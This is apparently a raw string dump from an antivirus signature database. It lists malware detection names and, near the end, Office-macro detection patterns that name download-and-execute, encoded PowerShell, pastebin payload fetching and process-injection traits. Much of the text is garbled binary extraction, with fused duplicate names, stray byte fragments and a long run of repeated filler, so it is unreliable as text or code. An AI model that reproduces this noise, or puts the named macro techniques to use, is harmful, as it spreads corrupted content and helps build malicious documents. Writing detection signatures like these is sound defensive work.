Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.FU7zB :#Lowfi:SIGATTR:TrojanDownloader:Win32/Reiramiao.A :#Lowfi:SIGATTR:TrojanDownloader:Win32/Reiramiao.AU7 
']#Lowfi:Behavior:Win32/GDad_DroppedSgsetting.A!dha ']#Lowfi:Behavior:Win32/GDad_DroppedSgsetting.A!dhaU7 h8:#LowFiExp:Win32/ContextualModJavawTempLikeCorrupt 
h8:#LowFiExp:Win32/ContextualModJavawTempLikeCorruptU7Y N:#Lowfi:SoftwareBundler:Win32/Amonetize!encryption N:#Lowfi:SoftwareBundler:Win32/Amonetize!encryptionU7 
2O:#Lowfi:MSILFOP:MSIL/Obfuscator.GenDecnryptAlgo.S1 2O:#Lowfi:MSILFOP:MSIL/Obfuscator.GenDecnryptAlgo.S1U7 U:#Lowfi:AGGREGATOR:REG/DisallowedCert_Malwarebytes 
[gIcY#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.G U:#Lowfi:AGGREGATOR:REG/DisallowedCert_MalwarebytesU7[gIcY#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.GU7B 
$dY#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.C $dY#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.CU7 f)#:1:z:2:NSIS_3_0_b2_strlen_zlib_solid-x86-unicode 
f)#:1:z:2:NSIS_3_0_b2_strlen_zlib_solid-x86-unicodeU7 Y#PERSIST:LowFi:HSTR:VirTool:Win32/Injector.gen!EE Y#PERSIST:LowFi:HSTR:VirTool:Win32/Injector.gen!EEU7\\J 
Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.I Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.IU7w Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.E 
Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.EU7 :#Lowfi:SoftwareBundler:Win32/OutBrowse!partialrcb :#Lowfi:SoftwareBundler:Win32/OutBrowse!partialrcbU7yS@ 
:#Lowfi:HSTR:Adware:Win32/Lollipop_stringobfuscate :#Lowfi:HSTR:Adware:Win32/Lollipop_stringobfuscateU7= Y#PERSIST:SIGATTR:TrojanDownloader:MSIL/Lorozoad.A 
Y#PERSIST:SIGATTR:TrojanDownloader:MSIL/Lorozoad.AU7 Y#PERSIST:SIGATTR:Program:Win32/CrossRiderError.A1 Y#PERSIST:SIGATTR:Program:Win32/CrossRiderError.A1U7- 
Y#PERSIST:HSTR:VirTool:MSIL/Compressor.netshrink.A Y#PERSIST:HSTR:VirTool:MSIL/Compressor.netshrink.AU7 :#Lowfi:SIGATTR:TrojanDownloader:Win32/Banload.AZQ 
:#Lowfi:SIGATTR:TrojanDownloader:Win32/Banload.AZQU7A :#LowFiExp:Win32/ContextualDropJavaTempLikeCorrupt :#LowFiExp:Win32/ContextualDropJavaTempLikeCorruptU7k 
:#Lowfi:SIGATTR:VirTool:Win32/CeeInject.gen!KK_enc :#Lowfi:SIGATTR:VirTool:Win32/CeeInject.gen!KK_encU7 )#:1:l:2:NSIS_3_0_b2_strlen_lzma_solid-x86-unicode 
)#:1:l:2:NSIS_3_0_b2_strlen_lzma_solid-x86-unicodeU7 Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.H Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.HU7 
:#Lowfi:Lua:WrittenToDownloadFolderByWindowsBinary :#Lowfi:Lua:WrittenToDownloadFolderByWindowsBinaryU7 Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.D 
Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.DU8 ]#LowFi:Behavior:Win32/OfficeProcMsiexecAbuse.A!tel ]#LowFi:Behavior:Win32/OfficeProcMsiexecAbuse.A!telU8 
:#Lowfi:AGGR:TrojanDownloader:Win32/Upatre!unpacked :#Lowfi:AGGR:TrojanDownloader:Win32/Upatre!unpackedU8^fd Y#PERSIST:SIGATTR:TrojanDownloader:Win32/Tenomils.A 
Y#PERSIST:SIGATTR:TrojanDownloader:Win32/Tenomils.AU8 :#LowFiExp:Win32/ContextualDrop2JavaTempLikeCorrupt :#LowFiExp:Win32/ContextualDrop2JavaTempLikeCorruptU8 
Y#PERSIST:Lowfi:PEBMPAT:Simda:AntiEmuTimeStampCheck p7s$:#Lowfi:SIGATTR:Exploit.HalDispatchTableOverwrite.A 
Y#PERSIST:Lowfi:PEBMPAT:Simda:AntiEmuTimeStampCheckU8p7s$:#Lowfi:SIGATTR:Exploit.HalDispatchTableOverwrite.AU8 =BE:#Lowfi:HSTR:Backdoor:Win32/NetWiredRC.B_trojanized 
=BE:#Lowfi:HSTR:Backdoor:Win32/NetWiredRC.B_trojanizedU8 S:#Lowfi:SCPT:Exploit:HTML/Long_Hidden_Title_Heading S:#Lowfi:SCPT:Exploit:HTML/Long_Hidden_Title_HeadingU8 
l:#Lowfi:SCPT:Exploit:HTML/NeutrinoEK.possible.lowfi l:#Lowfi:SCPT:Exploit:HTML/NeutrinoEK.possible.lowfiU8 :#LowFiExp:Win32/ContextualDropJavawTempLikeCorrupt 
:#LowFiExp:Win32/ContextualDropJavawTempLikeCorruptU8x :#Lowfi:AGGREGATOR:HasKnownAdwareDomain_NsisBundler :#Lowfi:AGGREGATOR:HasKnownAdwareDomain_NsisBundlerU8h 
:#Lowfi:Lua:WrittenToDownloadFolderWithLongFileName :#Lowfi:Lua:WrittenToDownloadFolderWithLongFileNameU8 :#LowFi:SIGATTR:Upatre!antiemu_vdll_max8_noseccheck 
:#LowFi:SIGATTR:Upatre!antiemu_vdll_max8_noseccheckU8 :#LowFi:SNID:BrowserModifier:Win32/Diplugem!ImpHash :#LowFi:SNID:BrowserModifier:Win32/Diplugem!ImpHashU8 
:#Lowfi:MACRO:TrojanDownloader:O97/Adnel_decryption :#Lowfi:MACRO:TrojanDownloader:O97/Adnel_decryptionU8 :#Lowfi:SCPT:Trojan:Win32/Kilim_KillChromeAndUpdate 
:#Lowfi:SCPT:Trojan:Win32/Kilim_KillChromeAndUpdateU8 Y#PERSIST:LowFi:SigAttr:Backdoor:Win64/Shoive.C!dha Y#PERSIST:LowFi:SigAttr:Backdoor:Win64/Shoive.C!dhaU8 
N#Lowfi:PEBMPAT:TrojanDownloader:Win32/Upatre!LoD.1 N#Lowfi:PEBMPAT:TrojanDownloader:Win32/Upatre!LoD.1U8 )#:1:b:2:NSIS_3_0_b2_strlen_bzip2_solid-x86-unicode 
)#:1:b:2:NSIS_3_0_b2_strlen_bzip2_solid-x86-unicodeU8@ :#LowFi:HSTR:BrowserModifier:IEPluginBypass.B!Kipod :#LowFi:HSTR:BrowserModifier:IEPluginBypass.B!KipodU8 
Y#PERSIST:HSTR:SoftwareBundler:Win32/OfferInstaller Y#PERSIST:HSTR:SoftwareBundler:Win32/OfferInstallerU8da :#LowFi:SoftwareBundler:Win32/DealPly!LikeyCleanPUS 
:#LowFi:SoftwareBundler:Win32/DealPly!LikeyCleanPUSU9 :#LowFiExp:Win32/ContextualAccessJavaTempLikeCorrupt :#LowFiExp:Win32/ContextualAccessJavaTempLikeCorruptU9 
*\t]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.A *\t]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.AU9l :\tY#PERSIST:Behavior:Win32/AptCampaignDesertFalcon!dha 
:\tY#PERSIST:Behavior:Win32/AptCampaignDesertFalcon!dhaU9G Y#PERSIST:SIGATTR:Program:Win32/CrossRiderWebInst.A1 Y#PERSIST:SIGATTR:Program:Win32/CrossRiderWebInst.A1U9 s 
:#Exploit:Win32/Crosspoint.IEWordSandboxEscape!Lowfi s :#Exploit:Win32/Crosspoint.IEWordSandboxEscape!LowfiU9Q !:#Lowfi:SCPT:Exploit:HTML/Flash_Long_Ascii_One_Pixel 
!:#Lowfi:SCPT:Exploit:HTML/Flash_Long_Ascii_One_PixelU9 -#:#Lowfi:HSTR:WhiteListCloud:TrojanDownloader:Vintall JMl;:#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilIframe.B -
#:#Lowfi:HSTR:WhiteListCloud:TrojanDownloader:VintallU9JMl;:#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilIframe.BU9 P(E]#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.B!cl 
>>;F:#Lowfi:SCRIPT:Exploit:SWF/CVE-2015-5119.ToByteArray P(E]#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.B!clU9>>;F:#Lowfi:SCRIPT:Exploit:SWF/CVE-2015-5119.ToByteArrayU9 
WN#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.A!cl WN#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.A!clU9 W]#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.A!cl 
W]#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.A!clU9 %b:#Lowfi:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.B %b:#Lowfi:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.BU9 
t:#Lowfi:HSTR:VirTool:Win32/Obfuscator.ADB_EP2!_lowfi t:#Lowfi:HSTR:VirTool:Win32/Obfuscator.ADB_EP2!_lowfiU9AA# ]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.B 
]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.BU9 :#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilIframe.A :#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilIframe.AU9# 
:#Lowfi:LUA_VirTool:Win32/Obfuscator.ACV_overlaysize :#Lowfi:LUA_VirTool:Win32/Obfuscator.ACV_overlaysizeU9 :#Lowfi:HSTR:TrojanDownloader:MSIL/ChickenKiller.com 
:#Lowfi:HSTR:TrojanDownloader:MSIL/ChickenKiller.comU9 :#Lowfi:Lua:WrittenToDesktopSubfolderByWindowsBinary :#Lowfi:Lua:WrittenToDesktopSubfolderByWindowsBinaryU9J 
N#Lowfi:Lua:SuspiciousExeFileLocationInProgramData.A N#Lowfi:Lua:SuspiciousExeFileLocationInProgramData.AU9 :#LowFiExp:Win32/ContextualDrop2JavawTempLikeCorrupt 
:#LowFiExp:Win32/ContextualDrop2JavawTempLikeCorruptU9 ]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.C ]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.CU9 
:#Lowfi:HSTR:TrojanDownloader:MSIL/Bladabindi.Gulfup :#Lowfi:HSTR:TrojanDownloader:MSIL/Bladabindi.GulfupU9 Y#Lowfi:HSTR:TrojanDownloader:MSIL/Bladabindi.Gulfup 
Y#Lowfi:HSTR:TrojanDownloader:MSIL/Bladabindi.GulfupU9 :#Lowfi:HSTR:TrojanDownloader.Upatre.FunctionAddress :#Lowfi:HSTR:TrojanDownloader.Upatre.FunctionAddressU9 
:#Lowfi:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.A :#Lowfi:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.AU: Y#PERSIST:HSTR:SoftwareBundler:Win32/OgimantMailRU.A1 
Y#PERSIST:HSTR:SoftwareBundler:Win32/OgimantMailRU.A1U: Y#PERSIST:SCPT:Program:Win32/SuperFishz.A1-CrossRider Y#PERSIST:SCPT:Program:Win32/SuperFishz.A1-CrossRiderU: 
S:#Lowfi:AGGREGATOR:REG/DisallowedCert_ESSDistribution S:#Lowfi:AGGREGATOR:REG/DisallowedCert_ESSDistributionU: c]#LowFi:BMLua:AccessibilityEscalation.Z!displayswitch 
c]#LowFi:BMLua:AccessibilityEscalation.Z!displayswitchU: X8v:#LowFiExp:Win32/ContextualAccessJavawTempLikeCorrupt X8v:#LowFiExp:Win32/ContextualAccessJavawTempLikeCorruptU:M 
xY#PERSIST:HSTR:VirTool:MSIL/Obfuscator.RunPE.DzkiLLeR xY#PERSIST:HSTR:VirTool:MSIL/Obfuscator.RunPE.DzkiLLeRU: N\\{N#Lowfi:Lua:SuspiciousExeFileInAppdataWindowsupdate.A N\\
{N#Lowfi:Lua:SuspiciousExeFileInAppdataWindowsupdate.AU:dv Y#PERSIST:SCPT:Program:Win32/SuperFishz.A2-CrossRider Y#PERSIST:SCPT:Program:Win32/SuperFishz.A2-CrossRiderU: 
:#Lowfi:SIGATTR:Worm:Win32/PossibleSillyShareCopy.gen :#Lowfi:SIGATTR:Worm:Win32/PossibleSillyShareCopy.genU:T :#Lowfi:HSTR:SoftwareBundler:Win32/InstallMonetizer.A 
:#Lowfi:HSTR:SoftwareBundler:Win32/InstallMonetizer.AU: Y#PERSIST:SNID:BrowserModifier:Win32/Diplugem!ImpHash Y#PERSIST:SNID:BrowserModifier:Win32/Diplugem!ImpHashU: 
:#Lowfi:HSTR:VirTool:Win64/Obfuscator.ADB_Reveton_str :#Lowfi:HSTR:VirTool:Win64/Obfuscator.ADB_Reveton_strU: N#Lowfi:Lua:SuspiciousExeFileLocationInLocalAppdata.A 
N#Lowfi:Lua:SuspiciousExeFileLocationInLocalAppdata.AU: Y#PERSIST:HSTR:Exploit:Win32/DouglasDojibMS10-048!dha Y#PERSIST:HSTR:Exploit:Win32/DouglasDojibMS10-048!dhaU: 
N#LowFi:Win32/Generic!PeAttributesSigattrIdContextual N#LowFi:Win32/Generic!PeAttributesSigattrIdContextualU: :#LowFi:SoftwareBundler:MSIL/Protlerdob!LikeyCleanPUS 
:#LowFi:SoftwareBundler:MSIL/Protlerdob!LikeyCleanPUSU; :#Lowfi:Lua:WrittenToDownloadFolder1SubByWindowsBinary AD:#Lowfi:Lua:WrittenToDownloadFolder1SubByWindowsBinaryU;  
:#Lowfi:SCPT:Exploit:HTML/Flash_Long_Ascii_One_Pixel.2  :#Lowfi:SCPT:Exploit:HTML/Flash_Long_Ascii_One_Pixel.2U; :#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilWebShell.A 
:#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilWebShell.AU; 2-8_#Lowfi:CONTEXT:SoftwareBundler:Win32/InstallMonster.A 2-8_#Lowfi:CONTEXT:SoftwareBundler:Win32/InstallMonster.AU; 
%bY#PERSIST:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.B %bY#PERSIST:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.BU;s 
cY#PERSIST:HSTR:VirTool:Win32/SuspiciousDllExportName.A cY#PERSIST:HSTR:VirTool:Win32/SuspiciousDllExportName.AU; y:#Lowfi:SIGATTR:TrojanDownloader:Win32/Maldldr.gen!A.1 
y:#Lowfi:SIGATTR:TrojanDownloader:Win32/Maldldr.gen!A.1U;\\ :#Lowfi:Lua:WrittenToDesktopFolderByOtherParentProcess :#Lowfi:Lua:WrittenToDesktopFolderByOtherParentProcessU; 
Y#PERSIST:SIGATTR:Trojan:Win32/CrossRiderCinemaxYou.A1 Y#PERSIST:SIGATTR:Trojan:Win32/CrossRiderCinemaxYou.A1U;l Y#PERSIST:SIGATTR:Program:Win32/CrossRiderRandomExt.A1 
Y#PERSIST:SIGATTR:Program:Win32/CrossRiderRandomExt.A1U;c ]#LowFi:BMLua:AccessibilityEscalation.AA!displayswitch ]#LowFi:BMLua:AccessibilityEscalation.AA!displayswitchU; 
Y#Persist:HSTR:TrojanDownloader:MSIL/ChickenKiller.com Y#Persist:HSTR:TrojanDownloader:MSIL/ChickenKiller.comU; :#Lowfi:PEBMPAT:TrojanDownloader:Win32/Upatre!LoD.TMP1 
:#Lowfi:PEBMPAT:TrojanDownloader:Win32/Upatre!LoD.TMP1U; :#LowFi:SCPT:Adware:Win32/PennyBeeLinkury.DigitalSig.A :#LowFi:SCPT:Adware:Win32/PennyBeeLinkury.DigitalSig.AU; 
:#Lowfi:SCPT:TrojanDownloader:PowerShell/Bartallex_gen :#Lowfi:SCPT:TrojanDownloader:PowerShell/Bartallex_genU; :#LOWFI:RPF:ContextualDropFileOutlookArchiveAttachment 
:#LOWFI:RPF:ContextualDropFileOutlookArchiveAttachmentU; :#LowFi:SoftwareBundler:Win32/Protlerdob!LikeyCleanPUS :#LowFi:SoftwareBundler:Win32/Protlerdob!LikeyCleanPUSU; 
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:#LOWFI:RPF:ContextualDropFileOutlookArchiveAttachmentU; :#LowFi:SoftwareBundler:Win32/Protlerdob!LikeyCleanPUS :#LowFi:SoftwareBundler:Win32/Protlerdob!LikeyCleanPUSU; 
Y#PERSIST:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.A Y#PERSIST:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.AU< (]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B 
(]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.BU< N#Lowfi:HSTR:Win32/Obfuscator.Cutwail_Upatre_GameOver_2 
N#Lowfi:HSTR:Win32/Obfuscator.Cutwail_Upatre_GameOver_2U<IAR Y#PERSIST:Lowfi:HSTR:VirTool:Win32/CeeInject.gen!KK_enc 
Y#PERSIST:Lowfi:HSTR:VirTool:Win32/CeeInject.gen!KK_encU< :#Lowfi:Lua:WrittenToDownloadFolderByOtherParentProcess :#Lowfi:Lua:WrittenToDownloadFolderByOtherParentProcessU<T 
Y#PERSIST:HSTR:SoftwareBundler:Win32/InstallMonetizer.A Y#PERSIST:HSTR:SoftwareBundler:Win32/InstallMonetizer.AU<Y ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.A 
]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.AU< :#LowFi:SigAttr:TrojanDownloader:Win32/Banload.BCC_22_6 :#LowFi:SigAttr:TrojanDownloader:Win32/Banload.BCC_22_6U= 
Y#Persist:HSTR:SoftwareBundler:Win32/Pokavampo!UrlParams Y#Persist:HSTR:SoftwareBundler:Win32/Pokavampo!UrlParamsU= 2-
8Y#PERSIST:CONTEXT:SoftwareBundler:Win32/InstallMonster.A 2-8Y#PERSIST:CONTEXT:SoftwareBundler:Win32/InstallMonster.AU=5 
b_:#Lowfi:HSTR:VirTool:Win32/Obfuscator.ACV!overlay_unpack b_:#Lowfi:HSTR:VirTool:Win32/Obfuscator.ACV!overlay_unpackU= gN#Lowfi:Lua:SuspiciousExeFileInAppdataMicrosoftWindows.A 
gN#Lowfi:Lua:SuspiciousExeFileInAppdataMicrosoftWindows.AU= JkY#PERSIST:HSTR:TrojanDownloader:Win32/VitalliaUpd4ter.A1 
JkY#PERSIST:HSTR:TrojanDownloader:Win32/VitalliaUpd4ter.A1U= {:#Lowfi:AGG:Win32/Obfuscator.API.NullArgs.COMODO.CA.RU.A 
{:#Lowfi:AGG:Win32/Obfuscator.API.NullArgs.COMODO.CA.RU.AU= :#Lowfi:Lua:WrittenToDesktopFolderByUnknownParentProcess 
:#Lowfi:Lua:WrittenToDesktopFolderByUnknownParentProcessU=, :#Lowfi:Lua:VbaProjectWrittenToDownloadFolderNotbyOffice :#Lowfi:Lua:VbaProjectWrittenToDownloadFolderNotbyOfficeU>& 
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SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~
$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA
~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$S
A~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$
SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~
$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA
~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$S
A~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$
SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~
$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA
~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$S
A~$SA~$SA~$SA~$SA~ Del /F /Q !#MHSTR:MacroJustmakecab /c makecab  !#MHSTR:MacroJustwinmgmts winmgmts: \twinmgmts: !#MHSTR:MacroLaroux2 .OnKey \"%{F8}\" 
!#MHSTR:MsInkAutolib As MSINKAUTLib !#MHSTR:Obfuscator.EmptyAssign !#MHSTR:RtlMoveMemory  !#MHSTR:XL4:Expert:Feature:14 !#MHSTR:uripdll \\urip.d\" & \"l\" & \"l !#MHSTR:Calluuu 
!#MHSTR:DonoffEncodedHTTP = \";oosCRR !#MHSTR:GetTempPath.A = GetTempPath( !#MHSTR:IInkRectangle .IInkRectangle !#MHSTR:MacroJustRandomize Randomize 
!#MHSTR:MacroJustWriteFile !#MHSTR:MacroLaroux3 .OnKey \"%{F11}\" !#MHSTR:MacroOrNotVariations Or (Not !#MHSTR:PathSeparator .PathSeparator !#MHSTR:URLDwndlF 
!#MHSTR:WshShell.Run.A WshShell.Run( !#MHSTR:XL4:Expert:Feature:3 !#MHSTR:XL4:Expert:Feature:35 !#MHSTR:XL4:Expert:Feature:36 !#MHSTR:XL4:Expert:Feature:37 
!#MHSTR:XL4:Expert:Feature:38 !#MHSTR:XL4:Expert:Feature:39 !#MHSTR:XL4:Expert:Feature:4 !#MHSTR:XL4:Expert:Feature:40 !#MHSTR:XL4:Expert:Feature:41 
!#MHSTR:XL4:Expert:Feature:42 !#MHSTR:XL4:Expert:Feature:43 !#MHSTR:XL4:Expert:Feature:44 !#MHSTR:XL4:Expert:Feature:45 !#MHSTR:XL4:Expert:Feature:46 
!#MHSTR:XL4:Expert:Feature:47 !#MHSTR:XL4:Expert:Feature:48 !#MHSTR:XL4:Expert:Feature:49 !#MHSTR:XL4:Expert:Feature:54 !#MHSTR:XL4:Expert:Feature:55 
!#MHSTR:XL4:Expert:Feature:56 !#MHSTR:XL4:Expert:Feature:57 !#MHSTR:XL4:Expert:Feature:58 !#MHSTR:XL4:Expert:Feature:59 !#MHSTR:XL4:Expert:Feature:60 
!#MHSTR:XL4:Expert:Feature:61 !#MHSTR:XL4:Expert:Feature:62 !#MHSTR:XL4:Expert:Feature:63 !#MHSTR:XL4:Expert:Feature:7 !#MHSTR:MacroJustMid  Mid(  Mid$( !#MHSTR:CallWindowProc 
!#MHSTR:Ferusdll \\ferus.d\" & \"l\" & \"l !#MHSTR:LibAlias Lib \"kernel32\" Alias !#MHSTR:MacroJustGetObject  !#MHSTR:MacroStartupPath .StartupPath !#MHSTR:MacroUsesWordBasic WordBasic. 
!#MHSTR:MacroWin32Check If Win32 Then !#MHSTR:Obfuscator.EmptyAssign.A !#MHSTR:VirtualAllocEx !#MHSTR:XL4:Expert:Feature:17 !#MHSTR:ErrNumber Err.Raise Number:=1, 
!#MHSTR:HasSplitString !#MHSTR:MacroCJustEntireRow .EntireRow !#MHSTR:MacroCJustIsNumeric IsNumeric(  !#MHSTR:MacroJustChrXor  !#MHSTR:MacroJustOUTLOOK \"OUTLOOK.EXE\"  
!#MHSTR:MacroJustStrReverse !#MHSTR:MacroJustWallpaper \"Wallpaper\" !#MHSTR:RecentFiles .RecentFiles.Count !#MHSTR:DownloadToFileA DownloadToFileA !#MHSTR:MacroCJustvbCritical 
vbCritical  !#MHSTR:MacroJustFileExists .FileExists !#MHSTR:MacroJustSavetoFile !#MHSTR:MacroJustShowWindow .ShowWindow !#MHSTR:MacroJustWordPress !#MHSTR:MacroLaroux4 
.SendKeys \"%{F11}\" !#MHSTR:MacroUsesCallByName CallByName( !#MHSTR:MacroresumeThread resumethread !#MHSTR:Phtl c:\\Users\\Public\\ !#HSTR:MacroCheckBuild Application.Build 
@aristocrat.com !#MHSTR:MACRO/Obfuscator.strtmp.A & \"tmp !#MHSTR:MacroCJustVBProjects .VBProjects !#MHSTR:MacroFileCopyJoin filecopy join( !#MHSTR:MacroJustCloseHandle 
!#MHSTR:MacroJustCreateFileA !#MHSTR:MacroJustGetFileSize !#MHSTR:Prgmdta !#MHSTR:ThenForNext !#MHSTR:PutBinary (\"&H\" CByte !#MHSTR:Caret.Split Hour(Now), Hour(Now), 
!#MHSTR:EnumTimeFormatsW !#MHSTR:GetPriorityClass GetPriorityClass !#MHSTR:MacroJustDOMDocument .DOMDocument !#MHSTR:MacroJustWin64Check If Win64 Then  
!#MHSTR:MacroShellvbHide vbhide !#MHSTR:XL4:Expert:Feature:5 !#MHSTR:XL4:Expert:Feature:6 !#MHSTR:BLOB:O97M/Donoff \"bank\" \"l.ru\" !#ALF:MHSTR:ReplaceText.1 \", \"RRDD\", \"om\") 
!#MHSTR:Instr InStr(\" !#MHSTR:MacroCJustVB_ProcData .VB_ProcData !#MHSTR:MacroJustGetCursorPos !#MHSTR:MacroJustPasteBin pastebin.com/raw !#MHSTR:MacroJustRegOpenKeyEx 
!#MHSTR:O97M/RepeatCBool.A  * CBool( !#MHSTR:PSEncodedCommand !#MHSTR:Regsvr C:\\Windows\\system32\\reg.exe !#MHSTR:ThisDocumentPath ThisDocument.Path 
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!#MHSTR:O97M/RepeatCBool.A  * CBool( !#MHSTR:PSEncodedCommand !#MHSTR:Regsvr C:\\Windows\\system32\\reg.exe !#MHSTR:ThisDocumentPath ThisDocument.Path 
!#HSTR:MacroBookmarksCount .Bookmarks.Count !#MHSTR:BigDim   Dim  ) As Long, !#MHSTR:DllRegisterServer !#MHSTR:FinReplace Replace( , \",\", \"/\") !#MHSTR:MacroJustADODBStream 
\"ADODB.Stream\" !#MHSTR:MacroJustCreateObject !#MHSTR:MacroJustLongWhiteSpace \"           !#MHSTR:MacroJustResponseBody .responsebody  !#MHSTR:MacroJustStrmq 
.StoryRanges.Item(1) !#MHSTR:MacroJustWScriptShell WScript.Shell !#MHSTR:Obfuscator.B64.Wscript (\"V3Njcmlw\") !#MHSTR:Obfuscator.Split.Http \"htt\" + \"p:// !#MHSTR:ShellInEquation Shell( 
!#MHSTR:TrimThisDocument Trim(ThisDocument. !#MHSTR:MacroBigArraying (100) =  (101) = !#MHSTR:MacroCJustLastDllError .LastDllError !#MHSTR:MacroJustRegSetValueEx 
!#MHSTR:MacroJustShellExecuteA !#MHSTR:MacroJustgmtq !#MHSTR:MacroMemoryManipulation !#MHSTR:Oernxtm !#MHSTR:XL4:Expert:Feature:15 !#MHSTR:ShellApi Shell$ 
!#MHSTR:AscMinusAsc \") - Asc(\" !#MHSTR:CallShell Call Shell( ), 0) !#MHSTR:CreateDirectoryExA CreateDirectoryExA !#MHSTR:EnumResourceTypesW !#MHSTR:MacroDynamicApiResolve 
getprocaddress !#MHSTR:MacroJustNewWScriptShell New WshShell !#MHSTR:MacroSubExecute Private Sub Execute() !#MHSTR:WriteProcessMemory !#MHSTR:MacroBase64Exe = \"TVqQAA = 
\"TVoAAA !#MHSTR:MacroJustEnviron Environ$ !#MHSTR:APPolo = Application.Run(\"nm\", ololow) !#MHSTR:ForNextDime Exit For  Next    Dim  !#MHSTR:MacroCountMacros 
WordBasic.CountMacros !#MHSTR:MacroJustCreateProcess  !#MHSTR:MacroJustOnErrorResume On Error Resume !#MHSTR:MacroJustRegCreateKeyEx !#MHSTR:MacroJustSetFilePointer 
!#MHSTR:MacroJustingmq !#MHSTR:MacroJustroceq !#MHSTR:MacroJustvbextpplocked vbext_pp_locked !#MHSTR:OddURLExe.A //gets-adobe.com `.exe\" !#MHSTR:Pshexec ) = 262 Then Shell 
